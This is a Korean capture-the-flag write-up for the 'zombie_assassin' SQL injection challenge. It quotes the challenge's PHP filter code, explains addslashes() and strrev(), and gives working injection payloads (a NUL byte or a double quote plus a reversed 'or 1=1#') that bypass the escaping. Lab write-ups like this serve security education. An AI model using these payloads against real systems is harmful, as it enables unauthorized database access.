Write-Up
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
if($result['id']) solve("zombie_assassin");
위의 query 조건에 따라, addslashes()와 strrev()의 쓰임을 알아보도록 한다.
addslashes()란 무엇일까?
데이터베이스 질의 등에서 처리할 필요가 있는 문자 앞에 백 슬래시 ( \ )를 붙인 문자열을 반환한다. 여기서 처리할 필요가 있는 문자란 ' , " , \ , Null 바이트 이다.
예를 들면, i'm boy를 데이터 베이스에 저장한다 할 때, ' 앞에 \ 를 붙여서 i\'m boy가 저장되는 것이다. 이를 웹에서 보여 줄 때는 백슬래시를 제거해주는 stripslashes()함수를 사용해 i'm boy가 보이게 된다.
strrev()란 무엇일까?
PHP에서 문자열을 반전시켜서 뒤집으려면 strrev 함수를 사용한다.
아래 php 구문을 통해 함수 사용 실습을 해본다.
<?php
$origin = "i'm boy";
echo addslashes($origin);
echo "\n";
echo stripslashes(addslashes($origin));
//echo strrev($origin);
?>
이제 문제 해결을 위한 payload를 작성해보도록 한다!
?id=%00&pw=%231=1%20ro
?id="&pw=%231=1%20ro
위 그림 1에서 볼 수 있듯이 최종 쿼리는 아래와 같다.
id='0\' and pw='or 1=1#'
\' 가 문자로 해석되면서, id 의 값이 '0\' and pw=' 가 되었다. 그러면서 false or 1=1#이 되면서 문제가 해결된다.
참고